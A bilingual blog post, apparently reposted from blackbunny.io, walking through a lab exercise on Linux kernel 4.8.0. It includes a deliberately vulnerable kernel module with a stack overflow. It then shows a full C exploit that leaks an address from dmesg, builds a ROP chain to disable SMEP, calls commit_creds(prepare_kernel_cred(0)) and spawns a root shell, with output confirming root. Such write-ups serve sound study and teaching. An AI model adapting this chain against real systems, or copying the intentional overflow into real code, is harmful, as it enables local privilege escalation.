Let_go
人生如棋,我愿为卒。行动虽慢,可谁曾见我后退一步。

Linux Kernel x86-64 bypass SMEP-KASLR-kptr_restric

2018/03/12 Exploit

Linux Kernel x86-64 bypass SMEP-KASLR-kptr_restric


Background(背景)

Before to get into a genuine exploitation of a kernel vulnerable module,let’s see which protections we need to bypass
在深入了解内核易受攻击的某块之前,我们来看看需要绕过哪些保护机制

SMEP(管理模式执行保护)

SMEP stands for Supervisor Mode Execution Protection
SMEP代表管理模式执行保护
This kernel protection doesn’t allow a user space code to be executed by the kernel.
内核保护不允许内核执行用户态空间代码,
To check if SMEP is activated,we can simply read /porc/cpuinfo
要检查SMEP是否被激活,可以简单的阅读/proc/cpuinfo

1
2
3
4
# cat /proc/cpuinfo | grep smep
......
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch epb fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 invpcid rtm rdseed adx smap xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
.....

SMEP is the 20th bit of the CR4 register
SMEP是CR4寄存器中的第20位:

KASLR(内核地址空间随机布局)

KASLR stands for Kernel Address Space Layout Randomization.
KASLR代表内核地址空间随机化布局
It aims to make some kernel exploits more difficult to implement by randomizing the base address value of the kernel(boot time)
它指通过随机化内核的基地址值来使一些内核漏洞更难利用(开机时间)
Exploits that rely on the locations of internal symbols must discover the randomized base address
依靠内部内核符号位置的漏洞必须发现随机化的基地址

Kernel Address Display Restriction(内核地址显示限制)

kptr_restrict indicates if restrictions are placed on exposing kernel addresses via/proc and other interfaces
kptr_restrict指示是否限制通过/proc和其他接口公开内核地址

  1. the default,there are no restrictions.(默认情况下,没有任何限制)
  2. kernel pointers printed using the %pK format speciffier will be replaced with o’s unless the user has CAP_SYSLOG.(除非用户具有CAP_SYSLOG功能,否则使用%pK格式说明符打印的指针将会被替换为0)
  3. kernel pointers printed using %pK will be replaced with o’s regardless of privileges.(无论权限如何,使用%pK打印的内核指针将被替换为0)
    In other words,we can’t get commit_creds addr just by reading the /proc/kallsyms:
    换句话说,我们不能通过阅读/proc/kallsyms来获取commit_creds addr:
    1
    2
    # cat /proc/kallsyms | grep commit_creds
    0000000000000000 T commit_creds

Privilege escalation(特权升级)

As always,our goal is to get the top privilege and for that,we just need to execute the following
与往常一样,我们的目标是获取最高权限,为此只想执行以下操作

1
commit_creds(prepare_kernel_cred(0))

Get back to user land(返回用户位置)

Even if we can bypass SMEP,we can’t just try to execute /bin/sh in our user code.We need to go back to user land correctly
即使我们可以绕过SMEP,我们也不能试图在我们的用户代码中执行/bin/sh。我们需要正确地返回到用户位置

This can be done with two gadgets:
这可以使用两个gadget完成

1
2
swapgs
iretq

Followed by this structure:(紧随其后的是这种结构)

1
2
3
4
5
the next RIP
user land CS
user land EFLAGS
user land RSP
user land SS

Exploitation

测试代码:https://github.com/black-bunny/LinKern-x86_64-bypass-SMEP-KASLR-kptr_restric

Vulnerable module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class
static char *buffer_var;
static int vuln_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "[i] Module vuln: open()\n");
return 0;
}
static int vuln_close(struct inode *i, struct file *f)
{
printk(KERN_INFO "[i] Module vuln: close()\n");
return 0;
}
static ssize_t vuln_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
if (strlen(buffer_var) > 0) {
printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
kfree(buffer_var);
buffer_var = kmalloc(100, GFP_DMA);
return 0;
}
else {
return 1;
}
}
static ssize_t vuln_write(struct file *f, const char __user *buf, size_t len, loff_t *off)
{
char buffer[100] = { 0 };
if (_copy_from_user(buffer, buf, len))
return -EFAULT;
buffer[len - 1] = '\0';
printk("[i] Module vuln write: %s\n", buffer);
strncpy(buffer_var, buffer, len);
return len;
}
static struct file_operations pugs_fops =
{
.owner = THIS_MODULE,
.open = vuln_open,
.release = vuln_close,
.write = vuln_write,
.read = vuln_read
};
static int __init vuln_init(void) /* Constructor */
{
buffer_var = kmalloc(100, GFP_DMA);
printk(KERN_INFO "[i] Module vuln registered");
if (alloc_chrdev_region(&first, 0, 1, "vuln") < 0)
{
return -1;
}
if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(first, 1);
return -1;
}
if (device_create(cl, NULL, first, NULL, "vuln") == NULL)
{
printk(KERN_INFO "[i] Module vuln error");
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}
cdev_init(&c_dev, &pugs_fops);
if (cdev_add(&c_dev, first, 1) == -1)
{
device_destroy(cl, first);
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}
printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
return 0;
}
static void __exit vuln_exit(void) /* Destructor */
{
unregister_chrdev_region(first, 3);
printk(KERN_INFO "Module vuln unregistered");
}
module_init(vuln_init);
module_exit(vuln_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("blackndoor");
MODULE_DESCRIPTION("Module vuln overflow");

This really simple kernel module has a stack overflow in its function vuln_write( ) The datas’s lenght copied to the buffer variable isn’t checked
这个非常简单的内核模块在其函数vuln_write中存在栈溢出,未检查复制到缓冲区变量的数据长度

Analyse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
~$ lsmod
kmod 16384 0 - Live 0x0000000000000000 (O) <= kptr_restrict
~$ ls / dev
console null ttyS0 vuln
~$ cat / proc / kallsyms | grep commit_creds
0000000000000000 T commit_creds <= kptr_restrict
~$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB > / dev / vuln
[28.965579] general protection fault : 0000[#1] SMP
[28.967297] Modules linked in : kmod(O)
[28.968139] CPU : 0 PID : 109 Comm : sh Tainted : G O 4.8.0 #5
[28.968139] Hardware name : QEMU Standard PC(i440FX + PIIX, 1996), BIOS Ubuntu - 1.8.2 - 1ubuntu1 04 / 01 / 2014
[28.968139] task : ffff9f1fc2730000 task.stack : ffff9f1fc2770000
[28.968139] RIP : 0010 : [< 4242424242424242>] [< 4242424242424242>] 0x4242424242424242
...
[28.968139] CR2 : 0000000000494b0a CR3 : 000000000272f000 CR4 : 00000000001006f0 <= SMEP
...
[28.968139] Call Trace :
[28.968139] [< ffffffffbb0c2a00>] ? __init_waitqueue_head + 0x10 / 0x20
...
(restarted)
~$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB > / dev / vuln
[112.990843] general protection fault : 0000[#1] SMP
...
[112.992198] Call Trace :
[112.992198] [< ffffffffba0c2a00>] ? __init_waitqueue_head + 0x10 / 0x20 <= KASLR

In this analyse,we clearly see the protections(SMEP,KASLR and kptr_restrict)
在这个分析中,我们清晰看到

Bypass SMEP

As explained before, SMEP doens’t allow the user space code to be executed by the kernel,so even if we control RIP,we can’t execute the user code right away:we can use a ROP explooit with kernel space addresses only or we can disable the SMEP’ bit
如前所述,SMEP不允许内核执行用户空间代码,所以即使我们控制RIP也是如此,我们不能立即执行用户代码:我们只能使用带有内核空间地址的ROP攻击,或者可以禁用SMEP位
SMEP is the 20th bit of the CR4 register which in our case is equal to:00000000000006f0
SMEP是CR4寄存器的第20位,我们这里的情况等于 CR4:00000000001006f0
If we can get CR4 to be equal to:CR4:00000000000006f0
如果我们可以得到CR4等于:CR4:00000000000006f0
SMEP will be disabled.(SMEP将被禁用)
To do so,we can use two gadgets:
为此,我们可以使用两个gadgets

1
2
POP RDI;RET //place 00000000000006f0 in RDI
MOV CR4,RDI;RET // SMEP disabled!

Bypass KASLR and kptr_restrict

The goal of these bypasses is to find a kernel space address,and add to it an offset to retrieve the gadgets/address needed.We found one usefull address in the result of the dmesg command:
这些绕过的目标是找到一个内核空间地址,并添加一个偏移量来检索所需要的gadgets/address。我们在dmesg命令的结果中找到了一个有用的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
~$ dmesg
[0.000000] Linux version 4.8.0 (root@pc1001) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0 - 6ubuntu1~16.04.2)) #5 SMP Sat Oct 8 10:01 : 18 CEST 2016
[0.000000] Command line : console = ttyS0 loglevel = 3 oops = panic panic = 1
[0.000000] KERNEL supported cpus :
[0.000000] Intel GenuineIntel
[0.000000] AMD AuthenticAMD
[0.000000] Centaur CentaurHauls
[0.000000] x86 / fpu : Legacy x87 FPU detected.
[0.000000] x86 / fpu : Using 'eager' FPU context switches.
[0.000000] e820 : BIOS - provided physical RAM map :
[0.000000] BIOS - e820 : [mem 0x0000000000000000 - 0x000000000009fbff] usable
...
[0.221392] Freeing SMP alternatives memory : 24K(ffffffffafea9000 - ffffffffafeaf000)
...

This is good but we still need to find offsets that we will add or substract to the address we found in order to get gadgets(for instance”pop gadget” or commit_creds address).
这很好,但我们仍然需要找到offset 我们将添加或减去我们找到的地址以获取gadgets(例如”pop gadget”或commit_creds address)。
We need to find the same kernel as the one used in the exercice with KASLR OFF and kptr_restrict set to 0,to be able to find our offsets.
我们需要找到一些内核,如和练习中KASLR OFF和kptr_restrict设置为0一样的那种,以便我们能够找到偏移量

For this purpose,let’s first see the kernel used by the system:
为此,我们先看看系统使用的内核

1
2
~$ uname - a
Linux(none) 4.8.0 #5 SMP Sat Oct 8 10:01 : 18 CEST 2016 x86_ 64 GNU/Linux

We download the kernel 4.8.0 from kernel.org and compile it with KASLR OFF.
我们从kernel.org下载内核4.8.0并使用KASLR OFF进行编译。
Then,we disable kptr_restric which is set in the “init” file. To do so we extract the file’s structure from initramfs.img
然后 我们禁用在’init’文件中设置的kptr_restric。为此,我们从initramfs.img中提取文件的结构
gzip -dcS .img initramfs.img | cpio -id

We comment the 13th line:
我们注意第13行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh
chown root:root /root
chown root:root /root/*
chmod 600 /root/flag
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
mount -t proc proc /proc
mount -t sysfs sysfs /sys
# restriction kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict <= comment this line
insmod /kmod.ko
mknod /dev/vuln c 247 0
chmod a+rw /dev/vuln
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -f

and we recreate the file’s structure:
我们重新创建文件的结构:

1
find . | cpio -H newc -o | gzip > ../initramfs.img

We can now extract gadgets with ROPgadget:
我们现在可以使用ROPgadget提取gadget:

1
2
3
4
~$ ROPgadget --binary bzImage_KASLROFF | grep "pop rdi ; ret"
...
0xffffffff810b33bd : pop rdi; ret
...

With the same kernel,we collect usefull addresses such as:
使用相同的内核,我们收集有用的地址 如:

1
2
commit_creds:ffffffff810a1cf0
prepare_kernel_cred:ffffffff810a2060

The offset for the gadget “pop rdi” is
gadget(pop rdi)的偏移量为:

1
"pop RDI ret" - prepare_kernel_creds = 0x1135d

The offset was found with the kernel KASLR OFF,let’s see if the offset is different with the kernel KASLR ON:
在内核KASLR OFF中找到偏移量,让我们看看偏移量是否与内核KASLR ON不同:

1
2
3
4
5
6
7
8
9
10
11
~$ cat /proc/kallsyms | grep prepare_kernel_cred
ffffffffb90a21c0 T prepare_kernel_cred
...
~$ cat /proc/kallsyms | grep commit_creds
ffffffffb90a1e50 T commit_creds
...
(in another terminal)
...
(gdb)x / 2i ffffffffb90a21c0 + 0x1135d
0xffffffffb90b351d: pop rdi
0xffffffffb90b351e : ret

We can do the same to retrieve other gadgets such as:(我们也可以做同样的检索其他gadget,如:)

1
2
3
mov
swapgs
iretq

Continuing with the kernel KASLR ON,we calculate the offset between the usefull address found in dmesg and prepare_kernel_cred/commit_creds:
继续内核KASLR ON,我们计算在dmesg和prepare_kernel_cred/commit_creds中找到的有用地址之间的偏移量

1
2
3
4
5
6
~$ dmesg
...
[0.208567] Freeing SMP alternatives memory : 24K(ffffffffb9ea9000 - ffffffffb9eaf000)
...
ffffffffb9ea9000 - ffffffffb90a1e50 = e071b0 => commit_creds_offset
ffffffffb9ea9000 - ffffffffb90a21c0 = e06e40 => prepare_kernel_cred_offset

We now have everythings to exploit,so we can set back the kptr_restric protection
我们现在有许多东西可以利用,所以可以设置kptr_restric保护

Exploit
The Exploit is simple: (这个利用很简单)
1.execute dmesg (执行dmesg)
2.find the usefull address (找到有用的地址)
3.prepare the payload (准备有效载荷)
4.trigger the vulnerablity (触发漏洞)

The payload has the following content:(有效载荷具有以下内容)

1
2
3
4
5
6
7
offset before RIP
POP RDI;RET
MOV CR4,RDI;RET
commit_creds(prepare_kernel_cred(0))
swapgs
iretq
safe strucure

Here is the final exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int(*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;
/*
this function is needed to backup userland env
these values are necessary just after the iretq calls
*/
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
/* function to get root id */
void getroot(void)
{
commit_creds(prepare_kernel_cred(0));
}
/*
this function checks if we got the root id and pops a shell if we did
the memory address of the function is placed in the ROP
*/
void shell(void) {
printf("[+] getuid() ...");
if (!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
}
else {
printf("[+] not root\n[+] failed !!!\n");
}
}
/*
This function tries to find the usefull addr needed for the expoit
*/
unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory: 24K";
char found[17];
unsigned long addr = 0;
FILE* file = fopen("/tmp/dmesg", "r");
while (fgets(line, sizeof(line), file)) {
if (strstr(line, string)) {
strncpy(found, line + 53, 16);
sscanf(found, "%p", (void **)&addr);
break;
}
}
fclose(file);
if (addr == 0) {
printf(" dmesg error...\n");
exit(1);
}
return addr;
}
int main(int argc, char *argv[])
{
int fd;
unsigned char payload[237] = { 0 };
unsigned char *p = payload;
unsigned long memOffset;
/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");
/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");
memOffset = findAddr();
printf(" addr[0x%llx]\n", memOffset);
/* set value for commit_creds and prepare_kernel_cred */
commit_creds = (commit_creds_t)(memOffset - 0xe071b0);
prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xe06e40);
/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/vuln", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/vuln\n");
exit(1);
}
/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 116);
p += 116;
/* pop rdi ; ret */
unsigned long poprdi = (unsigned long)prepare_kernel_cred + 0x1135d;
memcpy(p, &poprdi, 8);
printf(" pop RDI at 0x%lx\n", poprdi);
p += 8;
memcpy(p, "\xf0\x06\x00\x00\x00\x00\x00\x00", 8); /* SMEP OFF */
p += 8;
/* mov cr4, rdi ; pop rbp ; ret */
unsigned long movcr4 = (unsigned long)prepare_kernel_cred - 0x86880;
memcpy(p, &movcr4, 8);
printf(" mov CR4, RDI at 0x%lx\n", movcr4);
p += 8;
memcpy(p, "\x42\x42\x42\x42\x42\x42\x42\x42", 8); /* for rbp */
p += 8;
/* getroot */
unsigned long gr = (unsigned long)getroot;
memcpy(p, &gr, 8);
p += 8;
/* swapgs; pop rbp; ret */
unsigned long swapgs = (unsigned long)prepare_kernel_cred - 0x3dfbc;
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p, &swapgs, 8);
p += 8;
memcpy(p, "\x42\x42\x42\x42\x42\x42\x42\x42", 8); /* for rbp */
p += 8;
/* iretq */
unsigned long iretq = (unsigned long)prepare_kernel_cred - 0x61066;
printf(" iretq at 0x%lx\n", iretq);
memcpy(p, &iretq, 8);
p += 8;
/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/
/* shell */
unsigned long sh = (unsigned long)shell;
memcpy(p, &sh, 8);
p += 8;
/* user_cs */
memcpy(p, &user_cs, 8);
p += 8;
/* user_rflags */
memcpy(p, &user_rflags, 8);
p += 8;
/* stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p, &sp, 8);
p += 8;
/* user_ss */
memcpy(p, &user_ss, 8);
/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 221);
return 0;
}

Can I get root please:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
~$ whoami
blackbunny
~$ cat /proc/kallsyms | grep commit_creds
0000000000000000 T commit_creds
0000000000000000 R __ksymtab_commit_creds
0000000000000000 r __kcrctab_commit_creds
0000000000000000 r __kstrtab_commit_creds
~$ /tmp/exploit
[+] Excecute dmesg...
[+] Find usefull addr...
addr[0xffffffffbeea9000]
[+] Open vuln device...
[+] Construct the payload...
pop RDI at 0xffffffffbe0b351d
mov CR4, RDI at 0xffffffffbe01b940
swapgs at 0xffffffffbe064204
iretq at 0xffffffffbe04115a
[+] Trig the vulnerablity...
[+] getuid() ...[root]
[+] Enjoy your shell...
~# whoami
root

原文:http://blackbunny.io/linux-kernel-x86-64-bypass-smep-kaslr-kptr_restric/

Author: Let_go

Link: http://github.com/2018/03/12/Linux Kernel x86-64 bypass SMEP-KASLR-kptr_restric/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
CVE-2017-7533
NextPost >
CVE-2017-10661
CATALOG
  1. 1. Linux Kernel x86-64 bypass SMEP-KASLR-kptr_restric
    1. 1.0.1. Background(背景)
    2. 1.0.2. SMEP(管理模式执行保护)
    3. 1.0.3. KASLR(内核地址空间随机布局)
    4. 1.0.4. Kernel Address Display Restriction(内核地址显示限制)
    5. 1.0.5. Privilege escalation(特权升级)
    6. 1.0.6. Get back to user land(返回用户位置)
    7. 1.0.7. Exploitation
    8. 1.0.8. Vulnerable module
    9. 1.0.9. Analyse
      1. 1.0.9.1. Bypass SMEP
      2. 1.0.9.2. Bypass KASLR and kptr_restrict